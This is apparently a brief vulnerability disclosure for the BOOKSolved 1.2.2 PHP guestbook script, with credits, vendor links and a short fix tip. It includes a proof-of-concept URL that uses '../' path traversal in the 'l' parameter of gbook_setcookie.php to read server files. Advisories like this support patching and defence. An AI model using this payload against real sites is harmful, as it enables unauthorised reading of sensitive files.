BOOKSolved 1.2.2 Remote File Disclosure

...BOOKSolved 1.2.2 (l) Remote File Disclosure Vulnerability

...Discovered by bd0rk

...Contact: bd0rk[at]hackermail.com or follow me on twitter

...Greetz: inj3ct0r-Team, x0r_32, Perle, Siber King

...Tested on: Ubuntu-Linux

...MEZ-Time: 08:17

...Vendor: http://www.usolved.net/

...Download: http://www.usolved.net/scripts/booksolved_v1.2.2.zip

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PoC: http://[targethost]/[path]/inc/gbook_setcookie.php?l=../../R3adIn.php

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Description: Found vulnerable code in gbook_setcookie.php line 7.
             So an attacker can read in sensitive files about l-parameter.

bd0rk's-Fixtip: Percolate the l-parameter before $_GET

Greetings from Germany, the 22 years old bd0rk.